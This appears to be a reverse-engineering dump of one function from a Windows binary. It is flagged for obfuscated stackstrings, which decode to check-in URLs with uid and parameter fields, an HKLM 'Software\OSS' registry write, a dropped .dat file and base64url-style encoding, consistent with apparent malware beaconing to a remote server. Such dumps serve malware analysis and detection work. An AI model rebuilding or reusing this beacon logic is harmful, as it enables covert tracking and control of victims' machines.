Function at 0x14000ed00
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov byte [rsp + 0x10], dl
mov qword [rsp + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x428]
sub rsp, 0x528
movzx ebx, dl
mov r12, rcx
mov qword [rbp + 0x20], 0
mov qword [rbp + 0x30], 0
mov qword [rbp + 0x38], 0xf
mov byte [rbp + 0x20], 0
call fcn.14004aba0
mov rcx, rax
test rax, rax
je 0x140010208
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp + 0x50], rax
lea r9, str.2bd89a7e030e4e26a2b6d27a0ecf265d
mov r8, qword [r12]
lea rcx, [rbp + 0x50]
test bl, bl
je 0x14000edc7
mov dword [rsp + 0x53], 0x253d6469
mov word [rsp + 0x4e], 0x6870
mov dword [rsp + 0x4a], 0x2e736469
mov dword [rsp + 0x58], 0x253d6d26
mov word [rsp + 0x51], 0x753f
mov byte [rsp + 0x50], 0x70
mov word [rsp + 0x48], 0x752f
mov word [rsp + 0x5c], 0x73
mov byte [rsp + 0x57], 0x73
lea rdx, [rsp + 0x48]
jmp 0x14000edff
mov dword [rsp + 0x56], 0x73253d
mov dword [rsp + 0x4e], 0x3d693f70
mov word [rsp + 0x53], 0x2673
mov dword [rsp + 0x49], 0x702e6969
mov byte [rsp + 0x55], 0x70
mov byte [rsp + 0x4d], 0x68
mov byte [rsp + 0x52], 0x25
mov byte [rsp + 0x48], 0x2f
lea rdx, [rsp + 0x48]
call fcn.14004a950
call fcn.14004aba0
mov rcx, rax
test rax, rax
je 0x140010213
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp - 0x48], rax
mov dword [rbp - 7], 0x732573
mov dword [rbp - 0x10], 0x70747468
mov dword [rbp - 0xb], 0x252f2f3a
mov byte [rbp - 0xc], 0x73
movzx edx, bl
lea rcx, [rbp + 0x128]
call fcn.14004ace0
nop
mov r9, qword [rbp + 0x50]
mov r8, qword [rax]
lea rdx, [rbp - 0x10]
lea rcx, [rbp - 0x48]
call fcn.14004a950
nop
mov rdx, qword [rbp + 0x128]
add rdx, 0xffffffffffffffe8
mov r15, 0xffffffffffffffff
mov eax, r15d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000ee89
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x310]
call fcn.1401021f0
mov edx, 0x104
lea rcx, [rbp + 0x310]
call fcn.140006d10
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x130], xmm0
mov qword [rbp + 0x140], rax
mov dword [rbp + 0x148], eax
mov word [rbp + 0x14c], ax
lea rcx, [rbp + 0x130]
call fcn.140023380
mov qword [rbp + 0x90], 0
mov qword [rbp + 0xa0], 0
mov qword [rbp + 0xa8], 0xf
mov byte [rbp + 0x90], 0
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x14000ef05
mov rdx, rax
lea rcx, [rbp + 0x90]
call fcn.1400040f0
nop
lea rdi, [rbp + 0x130]
xor eax, eax
mov ecx, 0xa
rep stosb byte [rdi], al
lea rdi, [rbp + 0x13a]
mov ecx, 0x14
rep stosb byte [rdi], al
xorps xmm0, xmm0
movups xmmword [rbp + 0x14e], xmm0
mov qword [rbp + 0x15e], rax
mov dword [rbp + 0x166], eax
mov word [rbp + 0x16a], ax
lea rcx, [rbp + 0x14e]
call fcn.140025340
mov qword [rbp + 0x70], 0
mov qword [rbp + 0x80], 0
mov qword [rbp + 0x88], 0xf
mov byte [rbp + 0x70], 0
mov r8, r15
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000ef90
mov rdx, rax
lea rcx, [rbp + 0x70]
call fcn.1400040f0
nop
lea rdi, [rbp + 0x14e]
xor eax, eax
mov ecx, 0xa
rep stosb byte [rdi], al
lea rdi, [rbp + 0x158]
mov ecx, 0x14
rep stosb byte [rdi], al
xor r13d, r13d
mov dword [rbp - 0x38], r13d
nop dword [rax]
cmp r13d, 3
jne 0x14000f5c9
test bl, bl
je 0x14000f3a6
mov dword [rsp + 0x75], 0x706870
mov word [rsp + 0x73], 0x2e73
mov word [rsp + 0x70], 0x6975
mov byte [rsp + 0x72], 0x64
mov word [rbp - 0x55], 0x6870
mov word [rbp - 0x58], 0x6475
mov word [rbp - 0x53], 0x70
mov byte [rbp - 0x56], 0x2e
lea rax, [rsp + 0x70]
mov r14, r15
nop dword [rax + rax]
inc r14
cmp byte [rax + r14], 0
jne 0x14000f020
mov qword [rbp - 0x78], r14
test r14d, r14d
je 0x14000f5c9
lea rax, [rbp - 0x58]
mov r13, r15
nop
inc r13
cmp byte [rax + r13], 0
jne 0x14000f040
xor esi, esi
mov rdi, qword [rbp - 0x48]
mov rbx, rdi
movsxd r12, dword [rdi - 0x10]
add r12, rdi
cmp rdi, r12
jae 0x14000f21d
lea rdx, [rsp + 0x70]
mov rcx, rbx
call fcn.140129ef8
test rax, rax
je 0x14000f09c
movsxd r15, r14d
nop dword [rax + rax]
inc esi
lea rbx, [r15 + rax]
lea rdx, [rsp + 0x70]
mov rcx, rbx
call fcn.140129ef8
test rax, rax
jne 0x14000f080
lea r15, [rax - 1]
test rbx, rbx
je 0x14000f0af
mov rax, r15
inc rax
cmp byte [rbx + rax], 0
jne 0x14000f0a4
jmp 0x14000f0b1
xor eax, eax
inc eax
movsxd rcx, eax
add rbx, rcx
cmp rbx, r12
jb 0x14000f063
test esi, esi
jle 0x14000f21d
movsxd r15, dword [rdi - 0x10]
mov ebx, r13d
sub ebx, r14d
imul ebx, esi
add ebx, r15d
mov dword [rbp - 0x30], ebx
mov edx, r15d
cmp ebx, r15d
cmovg edx, ebx
test edx, edx
js 0x140010249
mov ecx, 1
sub ecx, dword [rdi - 8]
mov eax, dword [rdi - 0xc]
sub eax, edx
or eax, ecx
jge 0x14000f108
lea rcx, [rbp - 0x48]
call fcn.14004b070
mov rdi, qword [rbp - 0x48]
mov r14, rdi
lea rsi, [rdi + r15]
mov qword [rbp - 0x80], rsi
cmp rdi, rsi
jae 0x14000f202
nop dword [rax]
lea rdx, [rsp + 0x70]
mov rcx, r14
call fcn.140129ef8
mov rbx, rax
test rax, rax
je 0x14000f1cd
movsxd r12, r13d
mov rax, qword [rbp - 0x78]
movsxd rcx, eax
mov qword [rbp + 0x10], rcx
nop word [rax + rax]
sub r15d, eax
mov esi, edi
sub esi, ebx
add esi, r15d
movsxd r8, esi
lea rdx, [rcx + rbx]
lea r14, [r12 + rbx]
je 0x14000f181
test r14, r14
je 0x14001021e
test rdx, rdx
je 0x14001021e
mov rcx, r14
call fcn.140101b40
test r13d, r13d
je 0x14000f19e
test rbx, rbx
je 0x140010239
mov r8, r12
lea rdx, [rbp - 0x58]
mov rcx, rbx
call fcn.140101b40
lea eax, [rsi + r13]
movsxd rcx, eax
mov byte [rcx + rbx], 0
add r15d, r13d
lea rdx, [rsp + 0x70]
mov rcx, r14
call fcn.140129ef8
mov rbx, rax
test rax, rax
mov rax, qword [rbp - 0x78]
mov rcx, qword [rbp + 0x10]
jne 0x14000f150
mov rsi, qword [rbp - 0x80]
test r14, r14
je 0x14000f1ec
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp byte [r14 + rax], 0
jne 0x14000f1e0
jmp 0x14000f1ee
xor eax, eax
inc eax
movsxd rcx, eax
add r14, rcx
cmp r14, rsi
jb 0x14000f120
mov ebx, dword [rbp - 0x30]
test ebx, ebx
js 0x140010249
cmp ebx, dword [rdi - 0xc]
jg 0x140010249
mov dword [rdi - 0x10], ebx
movsxd rax, ebx
mov byte [rax + rdi], 0
mov r13d, dword [rbp - 0x38]
lea rcx, [rdi - 0x18]
call fcn.14001eef0
add rax, 0x18
mov qword [rbp - 0x30], rax
mov word [rbp - 0x1c], 0x3d65
mov word [rbp - 0x1f], 0x6974
mov byte [rbp - 0x20], 0x26
mov word [rbp - 0x1a], 0x6425
mov byte [rbp - 0x18], 0
mov byte [rbp - 0x1d], 0x6d
call fcn.14004f880
mov r8d, eax
lea rdx, [rbp - 0x20]
lea rcx, [rbp - 0x30]
call fcn.14001ece0
lea rcx, [rsp + 0x40]
call fcn.14004cfa0
nop
lea r8, [rbp + 0x20]
mov rdx, qword [rbp - 0x30]
lea rcx, [rsp + 0x40]
call fcn.14004cfc0
movzx edi, al
call fcn.14004aba0
test rax, rax
je 0x1400101fd
mov rdx, qword [rax]
mov rcx, rax
call qword [rdx + 0x18]
add rax, 0x18
mov qword [rbp - 0x78], rax
lea rdx, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0x10
cmovae rdx, qword [rbp + 0x90]
xor r8d, r8d
test dil, dil
setne r8b
lea rcx, [rbp - 0x78]
call fcn.14004a950
lea rax, [rbp + 0x100]
mov qword [rbp - 0x80], rax
mov r14, qword [rbp - 0x78]
lea rcx, [r14 - 0x18]
call fcn.14001eef0
add rax, 0x18
mov qword [rbp + 0x100], rax
mov r12, qword [rbp + 0x470]
mov rcx, qword [r12]
sub rcx, 0x18
call fcn.14001eef0
add rax, 0x18
mov qword [rbp + 0xf8], rax
lea rdx, [rbp + 0x100]
lea rcx, [rbp + 0xf8]
call fcn.140007bc0
test dil, dil
je 0x14000f7bc
call fcn.14004aba0
mov rcx, rax
test rax, rax
je 0x1400102f4
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp - 0x28], rax
mov word [rbp - 0x6f], 0x73
mov byte [rbp - 0x70], 0x25
lea r8, [rbp + 0x20]
cmp qword [rbp + 0x38], 0x10
cmovae r8, qword [rbp + 0x20]
lea rdx, [rbp - 0x70]
lea rcx, [rbp - 0x28]
call fcn.14004a950
mov rdi, qword [rbp - 0x28]
mov rsi, rdi
xor ebx, ebx
movzx eax, byte [rdi]
test al, al
je 0x14000f62a
movsx ecx, al
call fcn.14012a2c8
test eax, eax
je 0x14000f5d2
mov rax, rsi
test rbx, rbx
cmovne rax, rbx
mov rbx, rax
jmp 0x14000f5d4
mov word [rsp + 0x65], 0x70
mov dword [rsp + 0x60], 0x702e6969
mov byte [rsp + 0x64], 0x68
mov dword [rbp - 0x4e], 0x7068702e
mov word [rbp - 0x50], 0x7575
mov byte [rbp - 0x4a], 0
lea rax, [rsp + 0x60]
mov r12, r15
inc r12
cmp byte [rax + r12], 0
jne 0x14000f3d3
test r12d, r12d
je 0x14000f5c9
lea rax, [rbp - 0x50]
nop word [rax + rax]
inc r15
cmp byte [rax + r15], 0
jne 0x14000f3f0
mov qword [rbp - 0x78], r15
xor esi, esi
mov rdi, qword [rbp - 0x48]
mov rbx, rdi
movsxd r13, dword [rdi - 0x10]
add r13, rdi
cmp rdi, r13
jae 0x14000f21d
lea r15, [rsi - 1]
nop dword [rax + rax]
lea rdx, [rsp + 0x60]
mov rcx, rbx
call fcn.140129ef8
test rax, rax
je 0x14000f458
movsxd r14, r12d
nop word [rax + rax]
inc esi
lea rbx, [r14 + rax]
lea rdx, [rsp + 0x60]
mov rcx, rbx
call fcn.140129ef8
test rax, rax
jne 0x14000f440
test rbx, rbx
je 0x14000f46b
mov rax, r15
inc rax
cmp byte [rbx + rax], 0
jne 0x14000f460
jmp 0x14000f46d
xor eax, eax
inc eax
movsxd rcx, eax
add rbx, rcx
cmp rbx, r13
jb 0x14000f420
mov r15, qword [rbp - 0x78]
test esi, esi
jle 0x14000f21d
movsxd r13, dword [rdi - 0x10]
mov ebx, r15d
sub ebx, r12d
imul ebx, esi
add ebx, r13d
mov dword [rbp - 0x30], ebx
mov edx, r13d
cmp ebx, r13d
cmovg edx, ebx
test edx, edx
js 0x14001027f
mov ecx, 1
sub ecx, dword [rdi - 8]
mov eax, dword [rdi - 0xc]
sub eax, edx
or eax, ecx
jge 0x14000f4c8
lea rcx, [rbp - 0x48]
call fcn.14004b070
mov rdi, qword [rbp - 0x48]
mov r14, rdi
lea rax, [rdi + r13]
mov qword [rbp + 0x10], rax
cmp rdi, rax
jae 0x14000f5b3
nop dword [rax]
lea rdx, [rsp + 0x60]
mov rcx, r14
call fcn.140129ef8
mov rsi, rax
test rax, rax
je 0x14000f584
movsxd r15, r15d
movsxd rax, r12d
mov qword [rbp - 0x80], rax
mov ebx, edi
sub ebx, esi
sub ebx, r12d
add ebx, r13d
movsxd r8, ebx
lea rdx, [rax + rsi]
lea r14, [r15 + rsi]
je 0x14000f534
test r14, r14
je 0x140010254
test rdx, rdx
je 0x140010254
mov rcx, r14
call fcn.140101b40
test r15, r15
je 0x14000f551
test rsi, rsi
je 0x14001026f
mov r8, r15
lea rdx, [rbp - 0x50]
mov rcx, rsi
call fcn.140101b40
mov rdx, qword [rbp - 0x78]
lea eax, [rbx + rdx]
movsxd rcx, eax
mov byte [rcx + rsi], 0
mov eax, edx
sub eax, r12d
add r13d, eax
lea rdx, [rsp + 0x60]
mov rcx, r14
call fcn.140129ef8
mov rsi, rax
test rax, rax
mov rax, qword [rbp - 0x80]
jne 0x14000f503
mov r15, qword [rbp - 0x78]
test r14, r14
je 0x14000f59c
mov rax, 0xffffffffffffffff
inc rax
cmp byte [r14 + rax], 0
jne 0x14000f590
jmp 0x14000f59e
xor eax, eax
inc eax
movsxd rcx, eax
add r14, rcx
cmp r14, qword [rbp + 0x10]
jb 0x14000f4e0
mov ebx, dword [rbp - 0x30]
test ebx, ebx
js 0x14001027f
cmp ebx, dword [rdi - 0xc]
jg 0x14001027f
jmp 0x14000f213
mov rdi, qword [rbp - 0x48]
jmp 0x14000f221
xor ebx, ebx
mov rcx, rsi
call fcn.140129cd8
mov rsi, rax
movzx eax, byte [rax]
test al, al
jne 0x14000f384
test rbx, rbx
je 0x14000f62a
sub ebx, edi
js 0x1400102b2
mov ecx, 1
sub ecx, dword [rdi - 8]
mov eax, dword [rdi - 0xc]
sub eax, ebx
or eax, ecx
jge 0x14000f617
mov edx, ebx
lea rcx, [rbp - 0x28]
call fcn.14004b070
mov rdi, qword [rbp - 0x28]
cmp ebx, dword [rdi - 0xc]
jg 0x1400102b2
mov dword [rdi - 0x10], ebx
movsxd rax, ebx
mov byte [rax + rdi], 0
mov rbx, rdi
movsx ecx, byte [rdi]
call fcn.14012a2c8
test eax, eax
je 0x14000f657
nop dword [rax]
mov rcx, rbx
call fcn.140129cd8
mov rbx, rax
movsx ecx, byte [rax]
call fcn.14012a2c8
test eax, eax
jne 0x14000f640
cmp rbx, rdi
je 0x14000f6d9
sub ebx, edi
mov edx, dword [rdi - 0x10]
test edx, edx
js 0x1400102b2
mov ecx, 1
sub ecx, dword [rdi - 8]
mov eax, dword [rdi - 0xc]
sub eax, edx
or eax, ecx
jge 0x14000f687
lea rcx, [rbp - 0x28]
call fcn.14004b070
mov rdi, qword [rbp - 0x28]
movsxd rdx, ebx
add rdx, rdi
mov ecx, dword [rdi - 0x10]
mov esi, ecx
sub esi, ebx
lea eax, [rsi + 1]
movsxd r8, eax
test eax, eax
je 0x14000f6be
test rdx, rdx
je 0x140010297
lea eax, [rcx + 1]
movsxd rcx, eax
cmp rcx, r8
jb 0x14001028a
mov rcx, rdi
call fcn.140101b40
test esi, esi
js 0x1400102b2
cmp esi, dword [rdi - 0xc]
jg 0x1400102b2
mov dword [rdi - 0x10], esi
movsxd rax, esi
mov byte [rax + rdi], 0
mov esi, dword [rdi - 0x10]
call fcn.14004aba0
mov rcx, rax
test rax, rax
je 0x1400102e9
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp + 0xf0], rax
lea rdx, [rbp + 0x70]
cmp qword [rbp + 0x88], 0x10
cmovae rdx, qword [rbp + 0x70]
mov r8d, esi
lea rcx, [rbp + 0xf0]
call fcn.14004a950
lea rax, [rbp + 0xe8]
mov qword [rbp - 0x80], rax
mov rdi, qword [rbp + 0xf0]
lea rcx, [rdi - 0x18]
call fcn.14001eef0
add rax, 0x18
mov qword [rbp + 0xe8], rax
mov rcx, qword [r12]
sub rcx, 0x18
call fcn.14001eef0
add rax, 0x18
mov qword [rbp + 0xe0], rax
lea rdx, [rbp + 0xe8]
lea rcx, [rbp + 0xe0]
call fcn.140007bc0
nop
mov r15, 0xffffffffffffffff
mov eax, r15d
cmp esi, 0x6c
je 0x14000f833
lock xadd dword [rdi - 8], eax
sub eax, 1
jg 0x14000f79c
mov rcx, qword [rdi - 0x18]
mov rax, qword [rcx]
lea rdx, [rdi - 0x18]
call qword [rax + 8]
nop
mov rdx, qword [rbp - 0x28]
add rdx, 0xffffffffffffffe8
mov eax, r15d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000f7c3
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
jmp 0x14000f7c3
mov r15, 0xffffffffffffffff
mov ecx, 0x12c
call fcn.140051da0
nop
mov eax, r15d
lock xadd dword [r14 - 8], eax
sub eax, 1
jg 0x14000f7eb
mov rcx, qword [r14 - 0x18]
mov rax, qword [rcx]
lea rdx, [r14 - 0x18]
call qword [rax + 8]
nop
lea rcx, [rsp + 0x40]
call fcn.14004cfb0
nop
mov rdx, qword [rbp - 0x30]
add rdx, 0xffffffffffffffe8
mov eax, r15d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000f814
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
inc r13d
mov dword [rbp - 0x38], r13d
xor edi, edi
cmp r13d, 6
jge 0x14000fda5
movzx ebx, byte [rbp + 0x478]
jmp 0x14000efd0
lea rdx, [rdi - 0x18]
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000f84b
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [rbp - 0x28]
add rdx, 0xffffffffffffffe8
mov eax, r15d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000f86a
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [rbp - 0x78]
add rdx, 0xffffffffffffffe8
mov eax, r15d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000f889
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
lea rcx, [rsp + 0x40]
call fcn.14004cfb0
nop
mov rdx, qword [rbp - 0x30]
add rdx, 0xffffffffffffffe8
mov eax, r15d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000f8b2
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
mov dword [rbp - 0x60], 0x4f53535c
mov word [rbp - 0x62], 0x6572
mov dword [rbp - 0x67], 0x7774666f
mov byte [rbp - 0x5c], 0
mov byte [rbp - 0x63], 0x61
mov byte [rbp - 0x68], 0x53
lea rcx, [rbp + 0x68]
call fcn.14000e5e0
nop
lea rax, [rbp + 8]
mov qword [rbp - 0x80], rax
lea rax, [rbp + 0x40]
mov qword [rbp + 0x10], rax
lea rax, [rbp]
mov qword [rbp + 0x58], rax
lea rdi, [rbp + 0x20]
cmp qword [rbp + 0x38], 0x10
cmovae rdi, qword [rbp + 0x20]
call fcn.14004aba0
mov rcx, rax
test rax, rax
je 0x1400102bd
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp + 8], rax
test rdi, rdi
je 0x14000f94b
cmp rdi, 0x10000
jae 0x14000f93d
movzx edx, di
lea rcx, [rbp + 8]
call fcn.14004b9c0
jmp 0x14000f95d
mov rax, r15
inc rax
cmp byte [rdi + rax], 0
jne 0x14000f940
jmp 0x14000f94d
xor eax, eax
mov r8d, eax
mov rdx, rdi
lea rcx, [rbp + 8]
call fcn.14004b580
nop
lea rax, [rbp + 8]
mov qword [rbp - 0x38], rax
mov rcx, qword [rbp + 0x68]
add rcx, 0xffffffffffffffe8
call fcn.14001eef0
add rax, 0x18
mov qword [rbp + 0x40], rax
lea rax, [rbp + 0x40]
mov qword [rbp + 0x18], rax
call fcn.14004aba0
mov rcx, rax
test rax, rax
je 0x1400102c8
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp], rax
lea rax, [rbp - 0x68]
cmp rax, 0x10000
jae 0x14000f9bf
lea rax, [rbp - 0x68]
movzx edx, ax
lea rcx, [rbp]
call fcn.14004b9c0
jmp 0x14000f9e0
lea rcx, [rbp - 0x68]
mov rax, r15
inc rax
cmp byte [rcx + rax], 0
jne 0x14000f9c6
mov r8d, eax
lea rdx, [rbp - 0x68]
lea rcx, [rbp]
call fcn.14004b580
nop
lea rax, [rbp]
mov qword [rbp - 0x80], rax
mov qword [rbp + 0x58], 0
lea rax, [rbp + 0x58]
mov qword [rsp + 0x20], rax
mov r9d, 0x20206
xor r8d, r8d
mov rdx, qword [rbp]
mov rcx, 0xffffffff80000002
call fcn.14004fa50
test eax, eax
jne 0x14000fa4a
mov rax, qword [rbp + 8]
mov ecx, dword [rax - 0x10]
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rax
mov r9d, 1
mov r8, qword [rbp + 0x40]
lea rdx, [0x14016ee91]
mov rcx, qword [rbp + 0x58]
call fcn.14004f930
mov rcx, qword [rbp + 0x58]
call fcn.140052400
nop
mov rdx, qword [rbp]
add rdx, 0xffffffffffffffe8
mov eax, r15d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000fa69
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [rbp + 0x40]
add rdx, 0xffffffffffffffe8
mov eax, r15d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000fa88
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [rbp + 8]
add rdx, 0xffffffffffffffe8
mov eax, r15d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000faa6
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x200]
call fcn.1401021f0
mov r8d, 0x104
lea rdx, [rbp + 0x200]
xor ecx, ecx
call fcn.140050210
lea rcx, [rbp + 0x200]
call fcn.14004df50
mov dword [rbp - 0x3f], 0x746164
mov byte [rbp - 0x40], 0x2e
lea r8, [rbp - 0x40]
lea rdx, [rbp + 0x68]
lea rcx, [rbp + 0x120]
call fcn.14001e9c0
nop
mov rdx, qword [rbp + 0x120]
lea rcx, [rbp + 0x200]
call fcn.14004e340
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
lea rcx, [rbp + 0x200]
call fcn.140052fb0
mov rdi, rax
mov dword [rbp + 0x60], 0
lea rdx, [rbp + 0x20]
cmp qword [rbp + 0x38], 0x10
cmovae rdx, qword [rbp + 0x20]
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x60]
mov r8d, dword [rbp + 0x30]
mov rcx, rax
call fcn.1400530c0
mov rcx, rdi
call fcn.1400529f0
mov byte [rsp + 0x41], 0
mov rcx, qword [r12]
sub rcx, 0x18
call fcn.14001eef0
add rax, 0x18
mov qword [rbp + 0xd8], rax
lea rax, [rsp + 0x41]
mov qword [rsp + 0x28], rax
mov rax, qword [rbp + 0x498]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x490]
mov r8, qword [rbp + 0x488]
mov rbx, qword [rbp + 0x480]
mov rdx, rbx
lea rcx, [rbp + 0xd8]
call fcn.14000e7f0
call fcn.14004aba0
mov rcx, rax
test rax, rax
je 0x1400102d3
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp + 0x48], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x16c], xmm0
movups xmmword [rbp + 0x17c], xmm0
mov word [rbp + 0x18c], ax
xor edi, edi
cmp byte [rsp + 0x41], dil
setne dil
lea rcx, [rbp + 0x16c]
call fcn.140028060
mov rdx, rax
mov r8d, edi
lea rcx, [rbp + 0x48]
call fcn.14004a950
nop
lea rdi, [rbp + 0x16c]
xor eax, eax
mov ecx, 0xb
rep stosb byte [rdi], al
lea rdi, [rbp + 0x178]
mov ecx, 0x16
rep stosb byte [rdi], al
lea rax, [rbp + 0xd0]
mov qword [rbp + 0x18], rax
mov rcx, qword [rbp + 0x48]
add rcx, 0xffffffffffffffe8
call fcn.14001eef0
add rax, 0x18
mov qword [rbp + 0xd0], rax
mov rcx, qword [r12]
sub rcx, 0x18
call fcn.14001eef0
add rax, 0x18
mov qword [rbp + 0x118], rax
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0x118]
call fcn.140007bc0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x18e], xmm0
movups xmmword [rbp + 0x19e], xmm0
mov word [rbp + 0x1ae], ax
xor edi, edi
cmp byte [rbx], dil
setne dil
lea rcx, [rbp + 0x18e]
call fcn.14002a3e0
mov rdx, rax
mov r8d, edi
lea rcx, [rbp + 0x48]
call fcn.14004a950
nop
lea rdi, [rbp + 0x18e]
xor eax, eax
mov ecx, 0xb
rep stosb byte [rdi], al
lea rdi, [rbp + 0x19a]
mov ecx, 0x16
rep stosb byte [rdi], al
lea rax, [rbp + 0x108]
mov qword [rbp + 0x18], rax
mov rdi, qword [rbp + 0x48]
lea rcx, [rdi - 0x18]
call fcn.14001eef0
add rax, 0x18
mov qword [rbp + 0x108], rax
mov rcx, qword [r12]
sub rcx, 0x18
call fcn.14001eef0
add rax, 0x18
mov qword [rbp + 0x110], rax
lea rdx, [rbp + 0x108]
lea rcx, [rbp + 0x110]
call fcn.140007bc0
nop
mov eax, r15d
lock xadd dword [rdi - 8], eax
sub eax, 1
jg 0x14000fd61
mov rcx, qword [rdi - 0x18]
mov rax, qword [rcx]
lea rdx, [rdi - 0x18]
call qword [rax + 8]
nop
mov rdx, qword [rbp + 0x120]
add rdx, 0xffffffffffffffe8
mov eax, r15d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000fd83
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [rbp + 0x68]
add rdx, 0xffffffffffffffe8
mov edi, 1
mov eax, r15d
lock xadd dword [rdx + 0x10], eax
sub eax, edi
jg 0x14000fda5
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
call fcn.14004aba0
mov rcx, rax
test rax, rax
je 0x1400102de
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x68], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1b0], xmm0
movups xmmword [rbp + 0x1c0], xmm0
mov word [rbp + 0x1d0], ax
lea rcx, [rbp + 0x1b0]
call fcn.140028e80
mov rdx, rax
mov r8d, edi
lea rcx, [rsp + 0x68]
call fcn.14004a950
nop
lea rdi, [rbp + 0x1b0]
xor eax, eax
mov ecx, 0xb
rep stosb byte [rdi], al
lea rdi, [rbp + 0x1bc]
mov ecx, 0x16
rep stosb byte [rdi], al
lea rax, [rbp + 0xb0]
mov qword [rbp + 0x18], rax
mov rcx, qword [rsp + 0x68]
add rcx, 0xffffffffffffffe8
call fcn.14001eef0
add rax, 0x18
mov qword [rbp + 0xb0], rax
mov rcx, qword [r12]
sub rcx, 0x18
call fcn.14001eef0
add rax, 0x18
mov qword [rbp + 0xb8], rax
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0xb8]
call fcn.140007bc0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1d2], xmm0
movups xmmword [rbp + 0x1e2], xmm0
mov qword [rbp + 0x1f2], rax
lea rdi, [rbp + 0x20]
cmp qword [rbp + 0x38], 0x10
cmovae rdi, qword [rbp + 0x20]
lea rcx, [rbp + 0x1d2]
call fcn.14002b8b0
mov rdx, rax
mov r9, rdi
mov r8, qword [rbp + 0x30]
lea rcx, [rsp + 0x68]
call fcn.14004a950
nop
lea rdi, [rbp + 0x1d2]
xor eax, eax
mov ecx, 0xd
rep stosb byte [rdi], al
lea rdi, [rbp + 0x1e0]
mov ecx, 0x1a
rep stosb byte [rdi], al
xor r14b, r14b
mov rdi, qword [rsp + 0x68]
movsxd rbx, dword [rdi - 0x10]
xor r13d, r13d
test ebx, ebx
jle 0x14000ff40
movsxd rsi, eax
lea rcx, [rdi + rsi]
cmp byte [rcx], 0x2b
jne 0x14000ff20
test r14b, r14b
jne 0x14000ff19
mov r14b, 1
mov ecx, 1
sub ecx, dword [rdi - 8]
mov eax, dword [rdi - 0xc]
sub eax, ebx
or eax, ecx
jge 0x14000ff19
mov edx, ebx
lea rcx, [rsp + 0x68]
call fcn.14004b070
mov rdi, qword [rsp + 0x68]
lea rcx, [rdi + rsi]
mov byte [rcx], 0x2d
call fcn.140129cd8
sub eax, edi
cmp eax, ebx
jl 0x14000fee3
test r14b, r14b
je 0x14000ff40
cmp ebx, dword [rdi - 0xc]
jg 0x140010305
mov dword [rdi - 0x10], ebx
mov byte [rbx + rdi], r13b
xor r14b, r14b
movsxd rbx, dword [rdi - 0x10]
mov eax, r13d
test ebx, ebx
jle 0x14000ffad
nop
movsxd rsi, eax
lea rcx, [rsi + rdi]
cmp byte [rcx], 0x2f
jne 0x14000ff8d
test r14b, r14b
jne 0x14000ff86
mov r14b, 1
mov ecx, 1
sub ecx, dword [rdi - 8]
mov eax, dword [rdi - 0xc]
sub eax, ebx
or eax, ecx
jge 0x14000ff86
mov edx, ebx
lea rcx, [rsp + 0x68]
call fcn.14004b070
mov rdi, qword [rsp + 0x68]
lea rcx, [rsi + rdi]
mov byte [rcx], 0x5f
